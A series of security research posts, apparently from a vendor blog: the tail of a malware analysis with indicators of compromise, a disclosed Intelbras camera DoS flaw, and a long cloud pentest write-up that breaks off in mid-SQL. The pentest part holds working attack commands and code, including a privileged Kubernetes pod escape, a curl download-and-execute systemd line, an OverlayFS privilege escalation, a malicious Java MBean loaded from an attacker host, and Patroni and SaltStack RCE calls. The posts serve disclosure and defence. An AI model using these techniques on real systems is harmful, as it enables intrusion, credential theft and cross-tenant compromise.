  • Retrieve the system‑wide proxy configuration using the Win32 WinHTTP API function WinHttpGetDefaultProxyConfiguration(), then extract the proxy server with the regular expression (?:([a-zA-Z]+)=)?(.*).
  • If that fails, locate the running explorer.exe process, impersonate its access token using Impersonate(), and retrieve its proxy configuration with the .NET API WebProxy.GetDefaultProxy().
  • If both methods fail, fall back to obtaining the proxy from the .NET property DefaultWebProxy.

These methods ensure that the malware can reach external networks even in complex network environments with proxies.

Execute downloaded XAML payload in an isolated AppDomain


This technique abuses MulticastDelegate again by using reflection to modify its private _invocationList array. .NET 2 Plugin creates a multicast delegate (CrossAppDomainDelegate) and replaces one entry in its invocation list with a malicious delegate pointing to XamlReader.Parse(). When AppDomain.DoCallBack() executes this multicast delegate, it iterates through the invocation list and invokes the injected XamlReader.Parse() to parse and execute the downloaded XAML.

In more detail, the process is as follows:

  1. Create a new isolated AppDomain with a randomly generated GUID as its name.
  2. Copy all configuration data from the current AppDomain into the new one.
  3. Set the proxy information in the new AppDomain and assign it to the variable px.
  4. Use TypeConfuseDelegate to replace TimeZoneInfo.ClearCachedData() with XamlReader.Parse(), thereby modifying the MulticastDelegate(CrossAppDomainDelegate).
  5. Use appDomain.DoCallBack() to invoke XamlReader.Parse() within the isolated AppDomain, executing the downloaded XAML payload.
  6. Transfer any updated configuration data from the new AppDomain back to the original AppDomain.
  7. Unload the isolated AppDomain to complete the cleanup.

This technique keeps the downloaded malicious payload out of the main AppDomain, which increases stability and allows the payload to be fully cleaned up after execution.

Infrastructure

The attack relies on commercial hosting infrastructure. The C2 IP is part of Cloudflare’s CDN, and the domain name is registered with Cloudflare.

Domain IP First seen Domain Registrar/ASN
openaigpt4v[.]com 104.18.14[.]219 Sep 27, 2023 Cloudflare, Inc. / 15169

Victims

Based on KSN telemetry data, we identified a single victim in Asia. Additionally, we learned that the malware was designed to target a specially customized government‑only version of the Windows operating system. Consequently, we infer that the victims are Asian government entities.

Attribution

After analyzing the TTPs, code similarities, and infrastructure, we were unable to link the attack to any known APT group.

Conclusions

Technological sovereignty has become a global trend. In today’s geopolitical climate, a growing number of countries are building their own core software platforms, including operating systems, databases, middleware, and cloud services, with operating systems often the top priority. The advantage is that each country controls the development, operation, and upgrading of its own operating systems, granting it full autonomy over the entire process. On the other hand, it also means that each country must protect this entire vast ecosystem on its own. Bringing the operation and maintenance of such a system to maturity is a lengthy process. Until then, both the system and its emerging supply chain could be exposed to attacks through multiple vectors, increasing potential vulnerabilities.

Indicators of Compromise

File hashes

F2458ED133F8D0CA19E22C10F577E98E    e4537a1762fcafd2fd96bfc825bad34f9db9a24d
E1DC6F1ED193594F2284BE22AE08DFA4               Resources.resx
AB81564BCB8CA7E710C66832DE747556   .NET 1 Loader
CFB8B281BDF5D9390E64B10C312FB2C1              .NET 2 Plugin
67E3617F8709D34F806F8E02BADBA8A5    fabric.config
514AC0D73B8A1B73488EF5E2E55A75C3   PatchMyPC-ScriptRunner.exe.config
514117D536E347560D049CFE0C609632     XAML-1
9000820D8153C24CD60D53001D3A97B6    XAML-2
B3C4A635179680EDAFB5D006CF0CFFC6              XAML-2-1
4F28622C5E60C01319BF48CF742FE1A5    XAML-2-2
C86D53392A87DD3F3E62D62C9B92A9BD              XAML-3

File paths

C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe.config
C:\Windows\SoftwareDistribution\Download\Install\fabric.config
C:\Windows\SoftwareDistribution\Download\Install\Resources.resx

Domains and IPs

openaigpt4v[.]com

  •  

Millions of security cameras at risk: DoS vulnerability in Intelbras devices

Background

Network-connected surveillance cameras are now widespread in both home and enterprise environments, so securing them is essential to safeguarding physical spaces and sensitive assets. As these devices continue to gain new features and network connectivity capabilities, vulnerabilities in their implementation can have significant security implications.

During our research, we discovered a denial-of-service vulnerability that affects Intelbras IP cameras systems. The flaw resides in a firmware update endpoint that is accessible without authentication and allows anyone with access to the local Wi-Fi network to knock cameras offline. A single request disrupts the camera for only about a minute, but sending periodic requests keeps the device offline indefinitely. We reported the issue to Intelbras, monitored the remediation process, validated the fix in the new firmware, and will now demonstrate the exploitation procedure step-by-step.

Following our notification, Intelbras patched the vulnerability and released updated firmware (R.260804) along with update instructions. A candidate ID of CAN-2026-2035970 has been assigned by MITRE following submission, pending the final CVE assignment. Additionally, the Intelbras team recently informed us that MITRE has classified the vulnerability as Medium, assigning it a score of 5.1 under the CVSS 4.0 framework. The issue discussed in this article is no longer present in the latest firmware version.

Firmware

Intelbras provides firmware files on its official website. While users can manually install these updates via an SD card, the cameras also natively support firmware upgrades over the local network via their web interface and mobile app. We obtained the firmware version v240927 for the iM3B-C (IM3 C) camera, which was the latest available version at the time of our research. According to Intelbras, the same firmware is also compatible with the iMX C, iM4 C, iM5 SC, iME 360 C, and iM7+ FC models. Below, we can view the firmware version and the camera model used as an example.

To provide context, we will explain how the camera’s authentication mechanism works and why it is relevant to accessing the camera’s endpoints. The main firmware component is an ARM binary named sonia, responsible for controlling the kernel drivers used by the camera hardware, authentication, and livestream recording, among other things.

How authentication works

The global.login RPC method handles authentication at the /RPC2_Login endpoint. First, the client, such as the mobile app or a custom script, sends the username and an empty password. The camera responds with an authentication challenge (a set of values to verify the password without transmitting it). This response returns a temporary session, the encryption type in the encryption field, a random value, and a realm (authentication scope). At this stage, a false response is normal and does not indicate a failed login, as the authentication process is not yet complete.

Next, the client calculates the response password from the authentication challenge. It first generates an MD5 (username:realm:original_password) hash as the base. It then calculates a second MD5 (username:random:first_md5) hash,  where first_md5 is the result of the previous step. To complete the authentication, the client sends this final result back to /RPC2_Login in a second global.login call, passing the username, calculated password, and temporary session ID.

If the login is accepted, the camera returns true and a new, authenticated session. This session must be used for all subsequent RPC calls, including the camera’s other endpoints, for example, the one that reboots the device or those that expose sensitive information.

Affected endpoint

The affected endpoint is the firmware upgrade route http://<ip_address>/firmwareUpgrade_service/Demo, which lacks authentication checks; furthermore, it fails to verify whether the firmware is actually valid before initiating the upgrade process. This creates a serious issue because the upgrade requires the camera to reboot, and that is precisely when the problem occurs: the camera enters reboot mode and eventually shuts down, appearing offline to the user and anyone who has the camera registered on their device.

PoC: vulnerability exploitation

Now that we have outlined how the vulnerability works, we will use a Python script on an iM3B-C camera to exploit it for demonstration purposes. The exploit contacts the camera’s endpoint to upload firmware. Below, we can see sonia creating the endpoint responsible for the firmware upgrade.

Next, the exploit will hit the endpoint and cause the camera to reboot. Consequently, mobile phones running the Intelbras app will lose connection with the registered device. Below, we can see the camera operating normally: the green light is on and the app is showing it is available for viewing.

The camera is online

The camera is online

After the exploit executes, we can see the effects: the camera goes offline and loses connection to the registered devices.

The camera is offline

The camera is offline

The exploit is quite simple: it sends an HTTP POST request with the firmware, which causes the camera to accept the request and initiate the reboot process. It does not matter whether the firmware is original; the reboot process will start regardless.

New firmware version

After we notified Intelbras about this flaw in the endpoint implementation, the company contacted the OEM vendor. As a result, a new firmware version was released that requires authentication to initiate an update through this endpoint.

Below, we can compare the new firmware, which validates cookies and session data, with the old firmware, which performed no authentication checks and proceeded directly to the update routine.

Real risk

An attacker can remotely trigger the camera firmware upgrade and reboot process without authenticating or supplying a valid firmware image. This may cause the device to go offline, which results in a denial-of-service condition preventing legitimate users from accessing live monitoring or managing the camera.

The potential impact is significant due to the number of affected users. The Intelbras Mibo Smart app, which the company provides to connect and manage the devices mentioned in this report, has over 4,000,000 downloads. Brazil represents the largest user base, followed by Paraguay, Ecuador, Colombia, Argentina, Chile, Peru, Bolivia, Uruguay, and Venezuela. As a result, exploitation of this issue affects a large number of users.

Takeaways

This is a medium-severity vulnerability that Intelbras is already aware of. The issue has been addressed in a newer firmware release (R.260804 along with update instructions), which mitigates this attack vector. Because the vulnerability directly affects the availability and normal operation of the affected cameras, it is highly recommended that users verify the firmware version currently installed on their devices and update to the latest available version as soon as possible. Keeping the firmware up to date is an essential security practice, especially for internet-connected surveillance devices, as outdated versions may remain exposed to known vulnerabilities.

  •  

An insecure neighbor: how a vulnerability chain led to an isolation bypass in cloud infrastructure

This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.

Introduction

Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.

This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).

1. Gaining initial access through a managed Kubernetes cluster

Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.

1.1. Escaping the worker node

First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.

kubectl run pod-name-bla \
   --image=alpine \
   --restart=Never \
   --overrides='
 {
   "apiVersion": "v1",
   "spec": {
     "hostPID": true,
     "containers": [
       {
         "name": "priv",
         "image": "alpine",
         "command": [ "sh", "-c", "sleep 3600" ],
         "stdin": true,
         "tty": true,
         "securityContext": {
           "privileged": true
         }
       }
     ]
   }
 }'

After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:

nsenter --target 1 --mount --uts --ipc --net --pid – bash

After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.

Kubelet configuration and API server address

Kubelet configuration and API server address

Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.

Konnectivity service account token

Konnectivity service account token

1.2. Analysis of control plane services

After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:

192.168.0.4:9443 open https status=404
192.168.0.4:2380 open
192.168.0.4:6443 open http status=400
192.168.0.4:8132 open
192.168.0.4:9100 open http status=200 title="Node Exporter"
192.168.0.4:9308 open http status=200 title="kube-state-metrics"

Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.

Interaction diagram between control plane and data plane via Konnectivity

1.3. Exploiting Konnectivity

To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.

A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.

Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.

service AgentService {
  rpc Connect(stream Packet) returns (stream Packet) {}
}

The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:

//apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26

enum PacketType {
  DIAL_REQ = 0;
  DIAL_RSP = 1;
  ...
}

message Packet {
  PacketType type = 1;

  oneof payload {
    DialRequest dialRequest = 2;
    DialResponse dialResponse = 3;
    Data data = 4;
    CloseRequest closeRequest = 5;
    CloseResponse closeResponse = 6;
    CloseDial closeDial = 7;
  }
}

message DialRequest {
    // tcp or udp?
    string protocol = 1;
    // node:port
    string address = 2;
    // random id for client, maybe should be longer
    int64 random = 3;
}

The server reads any Packet packets from the stream initiated by the agent (worker node):

//apiserver-network-proxy/pkg/server/server.go:721
in, err := stream.Recv()
...
recvCh <- in

Next, the packets go to the backend manager:

//apiserver-network-proxy/pkg/server/server.go:748

func (s *ProxyServer) serveRecvBackend(...) {
    for pkt := range recvCh {
        switch pkt.Type {

Then comes the most interesting part:

//apiserver-network-proxy/pkg/server/server.go:888

case client.PacketType_DIAL_REQ:
    req := pkt.GetDialRequest()
    klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address)
    s.handleDialRequest(pkt, backend)

In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).

//apiserver-network-proxy/pkg/server/server.go:921
func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) {
  ...
  dialReq := pkt.GetDialRequest()
  resp.GetDialResponse().Random = dialReq.Random

  start := time.Now()
  conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and address

This created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:

org.freedesktop.DBus
 org.freedesktop.PackageKit
 org.freedesktop.PolicyKit1
 org.freedesktop.login1
 org.freedesktop.systemd1
 com.ubuntu.SoftwareProperties

Using the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:

busctl --address=unix:path=/tmp/master-dbus.sock \
  call org.freedesktop.login1 \
       /org/freedesktop/login1 \
       org.freedesktop.login1.Manager \
       SetUserLinger ubb 997 true false

The following sockets were then opened:

/run/user/997/bus
 /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.)

Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service:

StartTransientUnit(
  name: string,
  mode: string,
  properties: a(sv),
  aux: a(sa(sv))
) -> job object path

The properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line:

ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"

As a result, we successfully received a callback from the control plane.

Konnectivity-server context and node network interfaces

Konnectivity-server context and node network interfaces

Mirantis, the company behind the k0s project, confirmed the vulnerability.

1.4. Privilege escalation on the host

Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).

In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.

To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.

rm -rf /tmp/lpe
mkdir /tmp/lpe
cd /tmp/lpe

unshare -rm sh -c '
 mkdir l u w m &&
 cp /usr/bin/python3 l/ &&
 chmod 755 l/python3 &&
 setcap cap_setuid+eip l/python3 &&
 mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
 touch m/*
'
getcap /tmp/lpe/u/python3
/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'

Confirmation of command execution with root privileges

Confirmation of command execution with root privileges

Gaining root privileges opened up several interesting attack vectors:

  1. We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
  2. The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.

2. Adventures in the overlay network

2.1. Victoria stack

An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.

When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:

"discoveredLabels": {
           "__address__": "http://100.64.1.1:6897/metrics",
           "__meta_url": "CENSORED",
           "__metrics_path__": "/metrics",
           "__scheme__": "http",
           "__scrape_interval__": "2m0s",
           "__scrape_timeout__": "2m0s",
           "cluster_id": "676767",
           "customer": "customerID",
           "job": "http",
           "profile": "kubernetes",
           "vds_id": "1337",
           "version": "1.0"
         }

It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.

We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.

Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.

Private SSH key in a VictoriaLogs record

Private SSH key in a VictoriaLogs record

We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.

Process privileges on the host and available actions in Kubernetes

Process privileges on the host and available actions in Kubernetes

Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.

2.2. Compromising managed Kafka instances

We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.

Discovered Java RMI service on port 9999

Discovered Java RMI service on port 9999

The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:

  • JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).
  • JmxInvoke.java: invokes the selected MBean method through the JMX Registry.
  • ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.

The code that handles the connection and initialization of the MBean component looks like this:

//JmxCreateMBean.java
...
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

public class JmxCreateMBean {
    private static final class RewritingSocketFactory extends RMISocketFactory {
        private final String fromHost;
        private final String toHost;

        RewritingSocketFactory(String fromHost, String toHost) {
            ...
        }

        @Override
        public Socket createSocket(String host, int port) throws IOException {
            ...
        }

        @Override
        public ServerSocket createServerSocket(int port) throws IOException {
            ...
        }
    }

    public static void main(String[] args) throws Exception {
        ...
        RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3]));
        String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]);

        try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) {
            var mbsc = connector.getMBeanServerConnection();
            try {
                ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5]));
                System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName());
            } catch (InstanceAlreadyExistsException e) {
                System.out.println("EXISTS " + args[5]);
            }
        }
    }
}

Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:

// Exec.java
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;

public class Exec implements ExecMBean {
    @Override
    public String run(String cmd) throws Exception {
        Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start();
        byte[] out = p.getInputStream().readAllBytes();
        int rc = p.waitFor();
        return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8);
    }

    @Override
    public String getB64(String path) throws Exception {
        return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path)));
    }

    @Override
    public String putB64(String path, String b64) throws Exception {
        byte[] data = Base64.getDecoder().decode(b64);
        Files.write(Path.of(path), data);
        return "wrote " + data.length + " bytes";
    }
}

After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.

<html>
<mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet>
</html>

We then perform the following steps:

  1. Create a standard MLet loader inside the Kafka JVM.
  2. Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html.
  3. Call the run(String cmd) method of the loaded MBean to achieve RCE on the host.
Kafka process context and node network interfaces

Kafka process context and node network interfaces

This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.

2.3. Credential leakage through redis-exporter

The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:

//redis_exporter/exporter/http.go:47
func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) {
  target := r.URL.Query().Get("target")
...

  if !strings.Contains(target, "://") {
    target = "redis://" + target
  }

  u, err := url.Parse(target)
...

  opts := e.options
...
  _, err = NewRedisExporter(target, opts)
...

Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:

http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server>

AUTH command in an intercepted Redis request

AUTH command in an intercepted Redis request

The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.

Diagnostic information of the Valkey instance

Diagnostic information of the Valkey instance

(Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).

2.4. Compromise of managed PostgreSQL (Patroni) clusters

The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.

Patroni configuration in etcd

Patroni configuration in etcd


{
  "ttl": 30,
  "loop_wait": 10,
  "retry_timeout": 10,
  "maximum_lag_on_failover": 1048576,
  "postgresql": {
    "use_pg_rewind": true,
    "parameters": {
      "archive_command": "id",
      "archive_mode": "always",
      "max_connections": 550,
      "max_locks_per_transaction": 512,
      "max_worker_processes": 27
    }
  }
}

Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges:

Update the Patroni configuration with the modified archive_command:

curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jq

Update the configuration again to add the standby_cluster parameter:

{
"ttl": 30,
"loop_wait": 10,
"retry_timeout": 10,
"maximum_lag_on_failover": 1048576,
"postgresql": {
 "use_pg_rewind": true,
 "parameters": {
   "archive_command": "rce",
   "archive_mode": "on",
   "archive_timeout": "10",
   "max_connections": 550,
   "max_locks_per_transaction": 512,
   "max_worker_processes": 27
 }
},
"standby_cluster": {
 "host": "192.0.2.1",
 "port": 5432
}
}

After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:

cannot be a real primary in standby cluster  
Demoting self (demote-cluster)  
received fast shutdown request  
checkpoint starting: shutdown immediate

Postgres then restarts, and the archiving process runs and executes the injected command:

PostgreSQL process context and node network interfaces

PostgreSQL process context and node network interfaces

This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.

Database and S3 access parameters in a backup file

Database and S3 access parameters in a backup file

This storage holds backups not only of the current instance but also of all other databases in the cloud.

List of backup storage locations in S3

List of backup storage locations in S3

3. Attack on SaltStack management infrastructure

After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.

3.1. Analysis of salt fs

The first step was to dump the entire Salt master file system for subsequent static analysis:

Fragment of the Salt Master file list

Fragment of the Salt Master file list

It contained numerous files.

salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do
      mkdir -p "/tmp/dump/$(dirname "$f")"
      salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null
    done

Because the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:

sql = query.format(
            minion_id=minion_id,
            pillar={**pillar, **results},
            grains=__grains__,
        )
        loaded_items = db_connections[db_alias].load_object_list(sql)

A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.

Database error during pillar processing

Database error during pillar processing

3.2. Exploiting the SQLi

This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.

 Fragment of the table list in the cloudsmth schema

Fragment of the table list in the cloudsmth schema

Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.

Records with Salt Master authentication tokens

Records with Salt Master authentication tokens

With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:

curl -k https://salt-master:8000   -H "Accept: application/json"   -H "Content-Type: application/json"   -H "X-Auth-Token: REDACTED"   -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]'

By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.

4. Other ways to attack the cloud

It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.

4.1. Exploiting a vulnerability in Managed Valkey

During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:

valkey_version=7.2.11
redis_version=7.2.4
redis_git_sha1=97b6663c
redis_git_dirty=0
redis_build_id=a75ca2f023d97d88
gcc_version=13.3.0
arch_bits=64
os=Linux 6.8.0-124-generic x86_64
executable=/usr/bin/valkey-server

The redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.

CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:

NoExecPaths=/
ExecPaths=/usr/bin/valkey-server /usr/lib /lib
CapabilityBoundingSet=
NoNewPrivileges=true
PrivateUsers=true
ProtectSystem=strict
ProtectHome=true
SystemCallFilter=@system-service
SystemCallFilter=~ @privileged @resources

These parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.

Valkey process context and Salt grains parameters

Valkey process context and Salt grains parameters

The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.

4.2. MySQL

The MySQL database user didn’t have root privileges when the resource was created.

DROP TABLE IF EXISTS mysql.global_grants;
CREATE TABLE mysql.global_grants (
USER char(32) NOT NULL DEFAULT '',
HOST char(255) NOT NULL DEFAULT '',
PRIV char(32) NOT NULL DEFAULT '',
WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N',
PRIMARY KEY (USER, HOST, PRIV)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;

However, the application logic allowed this user to drop and recreate the table with dynamic privileges:

DROP TABLE IF EXISTS mysql.user;

  CREATE TABLE mysql.user (
    Host char(255) NOT NULL DEFAULT '%',
    User char(32) NOT NULL DEFAULT '',
    Select_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Update_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Create_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Process_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    File_priv enum('N','Y') NOT NULL DEFAULT 'Y',
    Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y',
